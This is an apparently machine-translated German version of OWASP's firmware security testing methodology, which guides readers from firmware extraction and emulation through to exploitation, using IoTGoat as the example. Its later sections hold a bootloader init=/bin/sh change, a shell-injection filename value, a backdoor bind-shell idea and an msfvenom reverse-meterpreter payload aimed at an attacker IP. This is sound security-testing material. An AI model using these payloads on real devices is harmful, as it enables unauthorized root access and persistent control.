owasp fstm
1.0.0
| Beschreibung |
|---|
FSTM besteht aus neun Phasen, die darauf zugeschnitten sind, Sicherheitsforschern, Softwareentwicklern, Bastlern und Informationssicherheitsexperten die Durchführung von Firmware-Sicherheitsbewertungen zu ermöglichen. |
Ob mit dem Netzwerk verbunden oder eigenständig, die Firmware ist das Zentrum der Steuerung jedes eingebetteten Geräts. Daher ist es wichtig zu verstehen, wie Firmware manipuliert werden kann, um nicht autorisierte Funktionen auszuführen und möglicherweise die Sicherheit des unterstützenden Ökosystems zu beeinträchtigen. Um mit der Durchführung von Sicherheitstests und dem Reverse Engineering von Firmware zu beginnen, verwenden Sie die folgende Methodik als Leitfaden für eine bevorstehende Bewertung. Die Methodik besteht aus neun Phasen, die darauf zugeschnitten sind, Sicherheitsforschern, Softwareentwicklern, Beratern, Bastlern und Informationssicherheitsexperten die Durchführung von Firmware-Sicherheitsbewertungen zu ermöglichen.
| Bühne | Beschreibung |
|---|---|
| 1. Informationsbeschaffung und Aufklärung | Erfassen Sie alle relevanten technischen Details und Dokumentationsdetails zur Firmware des Zielgeräts |
| 2. Firmware beziehen | Erhalten Sie Firmware mit einer oder mehreren der aufgeführten vorgeschlagenen Methoden |
| 3. Firmware analysieren | Untersuchen Sie die Eigenschaften der Ziel-Firmware |
| 4. Extrahieren des Dateisystems | Schnitzen Sie Dateisysteminhalte aus der Ziel-Firmware |
| 5. Analyse des Dateisysteminhalts | Analysieren Sie extrahierte Dateisystemkonfigurationsdateien und Binärdateien statisch auf Schwachstellen |
| 6. Firmware emulieren | Emulieren Sie Firmware-Dateien und -Komponenten |
| 7. Dynamische Analyse | Führen Sie dynamische Sicherheitstests für Firmware und Anwendungsschnittstellen durch |
| 8. Laufzeitanalyse | Analysieren Sie kompilierte Binärdateien während der Gerätelaufzeit |
| 9. Binäre Ausbeutung | Ausnutzen identifizierter Schwachstellen, die in früheren Phasen entdeckt wurden, um Root-Zugriff und/oder Codeausführung zu erreichen |
In den folgenden Abschnitten werden die einzelnen Phasen näher erläutert und gegebenenfalls mit unterstützenden Beispielen versehen. Besuchen Sie die OWASP Internet of Things-Projektseite und das GitHub-Repository, um die neuesten Methodenaktualisierungen und bevorstehenden Projektveröffentlichungen zu erhalten.
Eine vorkonfigurierte virtuelle Ubuntu-Maschine (EmbedOS) mit Firmware-Testtools, die in diesem Dokument verwendet werden, kann über den folgenden Link heruntergeladen werden. Details zu den Tools von EmbedOS finden Sie auf GitHub im folgenden Repository https://github.com/scriptingxss/EmbedOS.
Sammeln Sie in dieser Phase so viele Informationen wie möglich über das Ziel, um dessen Gesamtzusammensetzung zu verstehen, die der Technologie zugrunde liegt. Versuchen Sie Folgendes zusammenzutragen:
Die oben aufgeführten Informationen sollten vor der Durchführung von Sicherheitstests vor Ort mithilfe eines Fragebogens oder eines Aufnahmeformulars gesammelt werden. Stellen Sie sicher, dass Sie interne Entwicklungsteams für Produktlinien nutzen, um genaue und aktuelle Daten zu erhalten. Verstehen Sie angewandte Sicherheitskontrollen sowie Roadmap-Elemente, bekannte Sicherheitsprobleme und die meisten relevanten Risiken. Planen Sie bei Bedarf weitere detaillierte Einblicke in bestimmte fragliche Funktionen ein. Am erfolgreichsten sind Beurteilungen in einer kollaborativen Umgebung.
Erfassen Sie Daten nach Möglichkeit mit Open-Source-Intelligence-Tools und -Techniken (OSINT). Wenn Open-Source-Software verwendet wird, laden Sie das Repository herunter und führen Sie sowohl manuelle als auch automatisierte statische Analysen anhand der Codebasis durch. Manchmal verwenden Open-Source-Softwareprojekte bereits kostenlose statische Analysetools von Anbietern, die Scanergebnisse liefern, wie Coverity Scan und Semmles LGTM. Die Screenshots unten zeigen beispielsweise Ausschnitte der Coverity Scan-Ergebnisse von Das U-Boot.
Abbildung: U-Boot Coverity Scan
Abbildung: U-Boot Coverity Scan-Analyse
Nachfolgend finden Sie Screenshots der Dropbear-Ergebnisse aus der Analyse von LGTM.
Abbildung: LGTM Dropbear-Benachrichtigungen
Abbildung: LGTM Dropbear-Ergebnisse
Mit den vorliegenden Informationen sollte eine leichte Bedrohungsmodellübung durchgeführt werden, in der Angriffsflächen und Wirkungsbereiche abgebildet werden, die im Falle einer Kompromittierung den größten Nutzen bringen.
Um mit der Überprüfung des Firmware-Inhalts beginnen zu können, muss die Firmware-Image-Datei erworben werden. Versuchen Sie, Firmware-Inhalte mit einer oder mehreren der folgenden Methoden abzurufen:
*Hinweis: Stellen Sie sicher, dass Sie die örtlichen Gesetze und Vorschriften befolgen, wenn Sie Daten von exponierten Speicherdiensten von Cloud-Anbietern herunterladen.
Jede der aufgeführten Methoden weist unterschiedliche Schwierigkeitsgrade auf und sollte nicht als erschöpfende Liste betrachtet werden. Wählen Sie die geeignete Methode entsprechend den Projektzielen und Einsatzregeln aus. Wenn möglich, fordern Sie sowohl einen Debug-Build als auch einen Release-Build der Firmware an, um die Testabdeckung der Anwendungsfälle zu maximieren, falls Debug-Code oder -Funktionalität innerhalb eines Release kompiliert wird.
Nachdem Sie das Firmware-Image erhalten haben, untersuchen Sie Aspekte der Datei, um ihre Eigenschaften zu identifizieren. Führen Sie die folgenden Schritte aus, um Firmware-Dateitypen und potenzielle Root-Dateisystem-Metadaten zu analysieren und zusätzliche Einblicke in die Plattform zu gewinnen, für die sie kompiliert wurde.
Nutzen Sie Dienstprogramme wie:
file <bin>
strings
strings -n5 <bin>
strings -n16 <bin>#longer than 16
strings -tx <bin> #print offsets in hex
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
Wenn keine der oben genannten Methoden brauchbare Daten liefert, ist Folgendes möglich:
Wenn die Binärdatei möglicherweise verschlüsselt ist, überprüfen Sie die Entropie mithilfe von binwalk mit dem folgenden Befehl:
$ binwalk -E <bin>
Geringe Entropie = Wahrscheinlich nicht verschlüsselt
Hohe Entropie = Es ist wahrscheinlich verschlüsselt (oder auf irgendeine Weise komprimiert).
Alternative Tools sind auch über Binvis online und die eigenständige Anwendung verfügbar.
In dieser Phase geht es darum, in die Firmware zu schauen und relative Dateisystemdaten zu analysieren, um so viele potenzielle Sicherheitsprobleme wie möglich zu identifizieren. Führen Sie die folgenden Schritte aus, um Firmware-Inhalte zur Überprüfung des nicht kompilierten Codes und der Gerätekonfigurationen zu extrahieren, die in den folgenden Phasen verwendet werden. Im Folgenden werden sowohl automatisierte als auch manuelle Extraktionsmethoden gezeigt.
$ binwalk -ev <bin>
Dateien werden nach „ _binaryname/filesystemtype/ “ extrahiert.
Dateisystemtypen: Squashfs, Ubifs, Romfs, Rootfs, Jffs2, Yaffs2, Cramfs, Initramfs
2a. Manchmal enthält die Signatur von binwalk nicht das magische Byte des Dateisystems. Verwenden Sie in diesen Fällen binwalk, um den Offset des Dateisystems zu ermitteln, das komprimierte Dateisystem aus der Binärdatei zu extrahieren und das Dateisystem mithilfe der folgenden Schritte manuell entsprechend seinem Typ zu extrahieren.
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
2b. Führen Sie den folgenden dd-Befehl aus, um das Squashfs-Dateisystem zu schnitzen.
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
Alternativ könnte auch der folgende Befehl ausgeführt werden.
$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
2c. Für Squashfs (im Beispiel oben verwendet)
$ unsquashfs dir.squashfs
Die Dateien befinden sich anschließend im Verzeichnis „ squashfs-root “.
2d. CPIO-Archivdateien
$ cpio -ivd --no-absolute-filenames -F <bin>
2f. Für jffs2-Dateisysteme
$ jefferson rootfsfile.jffs2
2d. Für ubifs-Dateisysteme mit NAND-Flash
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>
In dieser Phase werden Hinweise für dynamische und Laufzeitanalysephasen gesammelt. Untersuchen Sie, ob die Ziel-Firmware Folgendes enthält (keine Vollständigkeit):
Analysieren Sie Dateisysteminhalte und unkompilierten Code statisch manuell oder nutzen Sie Automatisierungstools wie Firmwalker, die Folgendes analysieren:
In den folgenden Unterabschnitten werden automatisierte Open-Source-Firmware-Analysetools vorgestellt.
Führen Sie firmwalker in seinem Verzeichnis in ~/tools/firmwalker aus und verweisen Sie firmwalker auf den absoluten Pfad des Stammverzeichnisses des extrahierten Dateisystems. Firmwalker verwendet Informationen im Verzeichnis „/data/“ zum Parsen von Regeln. Ein von Aaron Guzman modifizierter benutzerdefinierter Fork mit zusätzlichen Prüfungen ist auf GitHub unter https://github.com/scriptingxss/firmwalker zu finden. Die folgenden Beispiele zeigen die Verwendung von firmwalker, der auf IoTGoat von OWASP verwendet wird. Weitere anfällige Firmware-Projekte sind im Abschnitt „Anfällige Firmware“ am Ende des Dokuments aufgeführt.
$ ./firmwalker.sh /home/embedos/firmware/ _IoTGoat-rpi-2.img.extracted/squashfs-root/
Siehe die Firmwalker-Ausgabe unten.
Es werden zwei Dateien generiert, firmwalker.txt und firmwalkerappsec.txt. Diese Ausgabedateien sollten manuell überprüft werden.
Glücklicherweise sind mehrere automatisierte Open-Source-Firmware-Analysetools verfügbar. Zu den FACT-Funktionen gehören die folgenden:
Identifizierung von Softwarekomponenten wie Betriebssystem, CPU-Architektur und Komponenten von Drittanbietern zusammen mit den zugehörigen Versionsinformationen
Extraktion von Firmware-Dateisystemen aus Bildern
Erkennung von Zertifikaten und privaten Schlüsseln
Erkennung schwacher Implementierungen, die der Common Weakness Enumeration (CWE) zugeordnet sind
Feed- und signaturbasierte Erkennung von Schwachstellen
Grundlegende statische Verhaltensanalyse
Vergleich (Diff) von Firmware-Versionen und Dateien
Benutzermodus-Emulation von Dateisystem-Binärdateien mithilfe von QEMU
Erkennung binärer Gegenmaßnahmen wie NX, DEP, ASLR, Stack Canaries, RELRO und FORTIFY_SOURCE
REST-API
und mehr...
Nachfolgend finden Sie Anweisungen zur Verwendung des Firmware-Analyse-Vergleichs-Toolkits innerhalb der vorkonfigurierten virtuellen Begleitmaschine.
Tipp: Es wird empfohlen, FACT auf einem Computer mit 16 Kernen und 64 GB RAM auszuführen, obwohl das Tool mit mindestens 4 Kernen und 8 GB RAM deutlich langsamer laufen kann. Die Scan-Ausgabeergebnisse hängen von den der virtuellen Maschine zugewiesenen Ressourcen ab. Je mehr Ressourcen vorhanden sind, desto schneller führt FACT Scan-Übermittlungen durch.
$ cd ~/tools/FACT_core/
$ sudo ./start_all_installed_fact_components
Navigieren Sie im Browser zu http://127.0.0.1:5000
Abbildung: FACT-Dashboard
Laden Sie Firmware-Komponenten zur Analyse auf FACT hoch. Im Screenshot unten wird die komprimierte komplette Firmware mit ihrem Root-Dateisystem hochgeladen und analysiert.
Abbildung: FACT-Upload
Abhängig von den Hardware-Ressourcen, die FACT zur Verfügung stehen, werden die Analyseergebnisse zu einem bestimmten Zeitpunkt zusammen mit den Scan-Ergebnissen angezeigt. Dieser Vorgang kann Stunden dauern, wenn nur minimale Ressourcen zugewiesen werden.
Abbildung: FAKT IoTGoat
Abbildung: FACT IoTGoat Exploit Mitigation-Ergebnisse
Zerlegen Sie verdächtige Zielbinärdateien mit Daten, die von FACT mit IDA Pro, Ghidra, Hopper, Capstone oder Binary Ninja gesammelt wurden. Analysieren Sie Binärdateien auf mögliche Systemaufrufe, Zeichenfolgen, Funktionslisten und Speicherbeschädigungsrisiken für die Remotecodeausführung und identifizieren Sie Xrefs für system() oder ähnliche Funktionsaufrufe. Beachten Sie potenzielle Schwachstellen, die Sie für die nächsten Schritte nutzen können.
Der folgende Screenshot zeigt die mit Ghidra zerlegte „Shellback“-Binärdatei.
Abbildung: Shellback-Ghidra-Analyse
Die übliche binäre Analyse besteht aus der Überprüfung der folgenden Punkte:
$ readelf -aW bin/*| grep stack_chk_fail$ mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail$ readelf -h <bin> | grep -q 'Type:[[:space:]]*EXEC'$ readelf -h <bin> | grep 'Type:[[:space:]]*DYN'$ readelf -d <bin> | grep -q 'DEBUG'$ readelf --syms <bin>$ nm <bin>-el gibt Little-Endian-Zeichen mit einer Breite von 16 Bit an (z. B. UTF-16).-eb für Big Endian-t gibt den Offset der Zeichenfolge innerhalb der Datei zurück.-tx gibt es im Hex-Format zurück, T-to im Oktalformat und -td im Dezimalformat.strings -n5 <bin>strings -el <bin>strings -n16 <bin>strings -tx <bin>$ readelf -lW bin/<bin>| grep STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
Das „E“ zeigt an, dass der Stack ausführbar ist.
$ execstack bin/*
X bin/ash
X bin/busybox
$ readelf -d binary | grep BIND_NOW$ readelf -d binary | grep GNU_RELROEin Skript, das die Überprüfung vieler der oben genannten Binäreigenschaften automatisiert, ist checksec.sh. Nachfolgend finden Sie zwei Beispiele für die Verwendung des Skripts.
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
Abbildung: Checksec.sh
Verwenden Sie für Microsoft-Binärdateien (EXE und DLL) PESecurity, um nach ASLR, DEP, SafeSEH, StrongNaming, Authenticode, Control Flow Guard und HighEntropyVA zu suchen.
EMBA ist als zentrales Firmware-Analysetool für Penetrationstester konzipiert. Es unterstützt den gesamten Sicherheitsanalyseprozess, angefangen bei der Firmware-Extraktion , der statischen Analyse und der dynamischen Analyse über die Emulation bis hin zur Erstellung eines webbasierten Berichts zur weiteren Analyse. EMBA wird mit einem einzigen Befehl gestartet und erkennt automatisch potenzielle Schwachstellen und Schwachstellen in der zu testenden Firmware, wie z. B. unsichere Binärdateien, alte und veraltete Softwarekomponenten, potenziell anfällige Skripte oder hartcodierte Passwörter.
Zu den EMBA- Funktionen gehören:
EMBA nutzt im Hintergrund mehrere andere Tools. Die benötigten Systemressourcen hängen stark von der Firmware ab, die Sie analysieren möchten. Normalerweise läuft EMBA in der folgenden Umgebung recht reibungslos:
Um die erforderliche Umgebung zu installieren, müssen Sie das Installationsskript mit Root-Rechten ausführen:
sudo ./installer.sh -d Sie sollten den Schalter -d mit dem Installationsprogramm verwenden, um eine typische Installation auszuführen. Dadurch werden erforderliche Abhängigkeiten (z. B. cve-search) auf dem Host installiert und das EMBA- Docker-Image heruntergeladen. Wir empfehlen, dies für die Erstinstallation zu verwenden.
Nach Abschluss des Installationsvorgangs ist es möglich, EMBA für die Firmware-Sicherheitsanalyse über die Befehlszeile zu verwenden. Bevor Sie EMBA starten, laden Sie bitte eine Test-Firmware wie die OWASP IoTGoat-Firmware herunter. Der folgende Befehl zeigt einen typischen EMBA -Befehl:
sudo ./emba.sh -f ~ /IoTGoat-x86.img.gz -l ~ /emba_logs_iotgoat -p ./scan-profiles/default-scan.embaDer angezeigte Befehl konfiguriert die folgenden Grundoptionen:
Weitere Optionen sind verfügbar und können über ./emba.sh -h angezeigt werden
Der erste Schritt jedes Firmware-Tests ist ein Gesundheitscheck der aktuellen Installation:
Nach erfolgreicher Gesundheitsprüfung beginnt der Analyseprozess mit der Identifizierung und Extraktion der konfigurierten Firmware:
Beim Testen der Firmware werden alle Ergebnisse und der aktuelle Status live im Terminal angezeigt. Da ein typischer Scan im Thread-Modus ( Parameter -t ) ausgeführt wird, ist diese Ausgabe verstümmelt und nicht sehr einfach zu lesen. Für die weitere Analyse wird empfohlen, die generierten textbasierten Protokolldateien im Protokollverzeichnis und im Webbericht ( Parameter -W ) zu verwenden. Nach Abschluss des Firmware-Scans zeigt EMBA eine Zusammenfassung der Ergebnisse im Terminal an:
Weitere Ergebnisse stehen im Protokollverzeichnis zur Verfügung und können auf der Kommandozeile oder über den Webbrowser analysiert werden:
firefox ~ /emba_logs_iotgoat/html-report/index.html
Der generierte HTML-Bericht ist eigenständig und kann problemlos geteilt werden. Darüber hinaus ist dieser Bericht vollständig interaktiv und es ist möglich, alle Testdetails über das aggregierte Zusammenfassungs-Dashboard abzurufen.
Weitere Details finden Sie im offiziellen EMBA-Git-Repository .
EMBArk ist die webbasierte Unternehmensschnittstelle für den Firmware-Sicherheitsscanner EMBA . Es wurde entwickelt, um den Firmware-Sicherheitsanalysator EMBA als Containerdienst bereitzustellen und den Zugriff auf das Firmware-Scan-Backend EMBA unabhängig vom System und Betriebssystem zu erleichtern.
Darüber hinaus verbessert EMBArk die Datenbereitstellung durch die Zusammenfassung der verschiedenen Scanergebnisse in einem aggregierten Management-Dashboard.
Auf der Detailseite aller Scans können Sie auf den detaillierten Bericht eines Firmware-Scans zugreifen, weitere Tests starten und die Scan-Protokolle herunterladen:
Weitere Details mit den wichtigsten Ergebnissen der einzelnen Firmware-Tests finden Sie im ausführlichen Bericht:
Weitere Informationen finden Sie im offiziellen EMBArk-Git-Repository .
Hinweis: EMBArk befindet sich in einem sehr frühen Entwicklungsstadium.
Anhand der in den vorherigen Schritten identifizierten Details und Hinweise müssen die Firmware und ihre gekapselten Binärdateien emuliert werden, um potenzielle Schwachstellen zu überprüfen. Um die Firmware-Emulation zu erreichen, sind unten einige Ansätze aufgeführt.
/usr/bin/shellbackUm mit der teilweisen Emulation von Binärdateien zu beginnen, müssen die CPU-Architektur und Endianness bekannt sein, damit in den folgenden Schritten die entsprechende QEMU-Emulationsbinärdatei ausgewählt werden kann.
$ binwalk -Y <bin>
$ readelf -h <bin>
el – Little Endian
eb – Big Endian
Mithilfe des folgenden Befehls kann Binwalk zur Identifizierung der Endianness für gepackte Firmware-Binärdateien (nicht für Binärdateien innerhalb der extrahierten Firmware) verwendet werden.
$ binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3480 0xD98 ARM executable code, 32-bit, little endian, at least 1154 valid instructions
Nachdem die CPU-Architektur und Endianness identifiziert wurden, suchen Sie die entsprechende QEMU-Binärdatei, um eine teilweise Emulation durchzuführen (nicht für die Emulation der vollständigen Firmware, sondern für Binärdateien mit der extrahierten Firmware).
Typischerweise in:
/usr/local/qemu-arch oder /usr/bin/qemu-arch
Kopieren Sie die entsprechende QEMU-Binärdatei in das extrahierte Root-Dateisystem. Der zweite Befehl zeigt das Kopieren der statischen Arm-QEMU-Binärdatei in das extrahierte Root-Dateisystem innerhalb einer ZSH-Shell, die den absoluten Pfad anzeigt.
> cp /usr/local/qemu-arch /extractedrootFS/
/home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root
> cp /usr/bin/qemu-arm-static .
Führen Sie die zu emulierende ARM-Binärdatei (oder den entsprechenden Arch) mit QEMU und Chroot mit dem folgenden Befehl aus:
$ sudo chroot . ./qemu-arch <binarytoemulate>
Das folgende Beispiel zeigt, wie Busybox innerhalb einer typischen x64-Architektur emuliert wird, die ein Angreifer-Computer wahrscheinlich verwendet.
> sudo chroot . ./qemu-arm-static bin/busybox ls
[sudo] password for embedos:
bin etc overlay rom sys var
dev lib proc root tmp www
dnsmasq_setup.sh mnt qemu-arm-static sbin usr
Unten sehen Sie ein Beispiel für die Emulation eines Dienstes, der Port 5515 überwacht.
> sudo chroot . ./qemu-arm-static usr/bin/shellback
Derselbe Dienst kann auch mit dem Qiling-Framework emuliert werden.
> ./qltool run --console False -f ~/_IoTGoat-x86.img.extracted/squashfs-root/usr/bin/shellback --rootfs ~/_IoTGoat-x86.img.extracted/squashfs-root
Überprüfen Sie in einem anderen Terminal, ob der Dienst lokal lauscht, und versuchen Sie, mit Netcat eine Verbindung herzustellen.
> sudo lsof -i :5515
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
qemu-arm- 13264 root 3u IPv4 662221 0t0 TCP *:5515 (LISTEN)
> nc -nv 127.0.0.1 5515
Connection to 127.0.0.1 5515 port [tcp/*] succeeded!
[***]Successfully Connected to IoTGoat's Backdoor[***]
Manchmal werden Anfragen vom HTTP-Server an die CGI-Binärdatei gesendet. Durch die einfache Emulation der CGI-Binärdatei ist es möglich, den Prozessablauf zu analysieren oder die Schwachstelle zu überprüfen, ohne einen HTTP-Server einzurichten. Das folgende Beispiel gibt eine GET-Anfrage an eine MIPS-CGI-Binärdatei aus.
~/DIR850L/squashfs-root/htdocs/web$ ls -l captcha.cgi
lrwxrwxrwx 1 root root 14 Oct 17 2017 captcha.cgi -> /htdocs/cgibin
# fix the broken symbolic link
~/DIR850L/squashfs-root/htdocs/web$ rm captcha.cgi && ln -s ../cgibin captcha.cgi
~/DIR850L/squashfs-root$ sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="GET" -E REQUEST_URI="/captcha.cgi" -E REMOTE_ADDR="192.168.1.1" -E CONTENT_TYPE="text/html" /htdocs/web/captcha.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><captcha>
<result>FAIL</result><message>NO SESSION</message>
</captcha>
Interagieren Sie mit der emulierten Zielbinärdatei mit ihrem Interpreter oder Abhördienst. Fuzzen Sie die Anwendungs- und Netzwerkschnittstellen wie in der nächsten Phase beschrieben.
Verwenden Sie nach Möglichkeit Automatisierungstools wie firmadyne, das Firmware Analysis Toolkit oder das ARM-X Firmware Emulation Framework, um eine vollständige Emulation der Firmware durchzuführen. Diese Tools sind im Wesentlichen Wrapper für QEMU und andere Umgebungsfunktionen wie NVRAM.
Führen Sie mit dem Firmware-Analyse-Toolkit einfach den folgenden Befehl aus:
sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| __,_| __|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: IoTGoat-rpi-2.img
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: armel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('eth0', '192.168.1.1')]
[...]
Adding route to 192.168.1.1...
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
BusyBox v1.28.4 () built-in shell (ash)
.--,\__
██████╗ ██╗ ██╗ █████╗ ███████╗██████╗ `-. a`-.__
██╔═══██╗██║ ██║██╔══██╗██╔════╝██╔══██╗ | ')
██║ ██║██║ █╗ ██║███████║███████╗██████╔╝ / _.-'-,`;
██║ ██║██║███╗██║██╔══██║╚════██║██╔═══╝ / | { /
╚██████╔╝╚███╔███╔╝██║ ██║███████║██║ / | { /
╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ..-"``~"-' ; )
╦┌─┐╔╦╗╔═╗┌─┐┌─┐┌┬┐ ;' `
║│ │ ║ ║ ╦│ │├─┤ │ ;' `
╩└─┘ ╩ ╚═╝└─┘┴ ┴ ┴ ;' `
------------------------------------------------------------ ;'
GitHub: https://github.com/OWASP/IoTGoat
------------------------------------------------------------
root@IoTGoat:/#
Hinweis: Änderungen an diesen Tools können erforderlich sein, wenn die Firmware eine ungewöhnliche Komprimierung, ein ungewöhnliches Dateisystem oder eine nicht unterstützte Architektur enthält.
Führen Sie in dieser Phase dynamische Tests durch, während ein Gerät in seiner normalen oder emulierten Umgebung ausgeführt wird. Die Ziele in dieser Phase können je nach Projekt und gegebener Zugriffsebene variieren. Typischerweise umfasst dies die Manipulation von Bootloader-Konfigurationen, Web- und API-Tests, Fuzzing (Netzwerk- und Anwendungsdienste) sowie aktives Scannen mit verschiedenen Toolsets, um erhöhten Zugriff (Root) und/oder Codeausführung zu erlangen.
Tools, die hilfreich sein können, sind (nicht erschöpfend):
Referenzieren Sie branchenübliche Webmethoden wie den Testing Guide von OWASP und den Application Security Verification Standard (ASVS).
Spezifische Bereiche, die innerhalb der Webanwendung eines eingebetteten Geräts überprüft werden müssen, sind die folgenden:
Abhängig vom Produkt und seinen Anwendungsschnittstellen unterscheiden sich die Testfälle.
Versuchen Sie Folgendes, wenn Sie den Gerätestart und Bootloader wie U-Boot ändern:
init=/bin/sh “ am Ende von Boot-Argumenten#printenv#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 int=/bin/sh#saveenv#boot#setenv ipaddr 192.168.2.2 #local IP of the device#setenv serverip 192.168.2.1 #tftp server IP#saveenv#reset#ping 192.168.2.1 #check if network access is available#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP serverubootwrite.py um das uboot-Image zu schreiben und eine geänderte Firmware zu übertragen, um Root zu erhaltenFILENAME “ mit Befehlsinjektionsbefehlen wie 'a";/bin/sh;#' um die Eingabevalidierung für Gerätestartvorgänge zu testen.*Hardware-Sicherheitstests
Versuchen Sie, benutzerdefinierte Firmware und/oder kompilierte Binärdateien wegen Integritäts- oder Signaturüberprüfungsfehlern hochzuladen. Kompilieren Sie beispielsweise mit den folgenden Schritten eine Backdoor-Bind-Shell, die beim Booten startet.
Wenn bereits eine Root-Shell durch dynamische Analyse, Bootloader-Manipulation oder Hardware-Sicherheitstests erhalten wurde, versuchen Sie, vorkompilierte bösartige Binärdateien wie Implantate oder Reverse-Shells auszuführen. Erwägen Sie die Verwendung automatisierter Nutzlast-/Implantationstools, die für Command-and-Control-Frameworks (C&C) verwendet werden. Beispielsweise können das Metasploit-Framework und „msfvenom“ mithilfe der folgenden Schritte genutzt werden.
msfvenom , um die entsprechende Zielnutzlast (-p), die Host-IP des Angreifers (LHOST=), die Nummer des Überwachungsports (LPORT=), den Dateityp (-f), die Architektur (--arch) und die Plattform (--platform Linux oder Windows) anzugeben. und die Ausgabedatei (-o). Beispiel: msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linuxset payload linux/armle/meterpreter_reverse_tcpset LHOST 192.168.1.245 #attacker host IPset LPORT 445 #can be any unused portset ExitOnSession falseexploit -j -zIdentifizieren Sie nach Möglichkeit eine Schwachstelle in Startskripts, um über Neustarts hinweg dauerhaften Zugriff auf ein Gerät zu erhalten. Solche Schwachstellen entstehen, wenn Startup-Skripte auf Code verweisen, ihn symbolisch verknüpfen oder davon abhängen, der sich an nicht vertrauenswürdigen gemounteten Orten wie SD-Karten und Flash-Volumes befindet, die zur Speicherung von Daten außerhalb von Root-Dateisystemen verwendet werden.
Bei der Laufzeitanalyse wird eine Verbindung zu einem laufenden Prozess oder einer Binärdatei hergestellt, während ein Gerät in seiner normalen oder emulierten Umgebung ausgeführt wird. Im Folgenden werden grundlegende Schritte zur Laufzeitanalyse aufgeführt:
sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>Tools, die hilfreich sein können, sind (nicht erschöpfend):
Nachdem in den vorherigen Schritten eine Schwachstelle innerhalb einer Binärdatei identifiziert wurde, ist ein ordnungsgemäßer Proof-of-Concept (PoC) erforderlich, um die tatsächlichen Auswirkungen und Risiken zu demonstrieren. Die Entwicklung von Exploit-Code erfordert Programmiererfahrung in niedrigeren Programmiersprachen (z. B. ASM, C/C++, Shellcode usw.) sowie Kenntnisse in der jeweiligen Zielarchitektur (z. B. MIPS, ARM, x86 usw.). Beim PoC-Code geht es darum, eine beliebige Ausführung auf einem Gerät oder einer Anwendung zu erreichen, indem eine Anweisung im Speicher gesteuert wird.
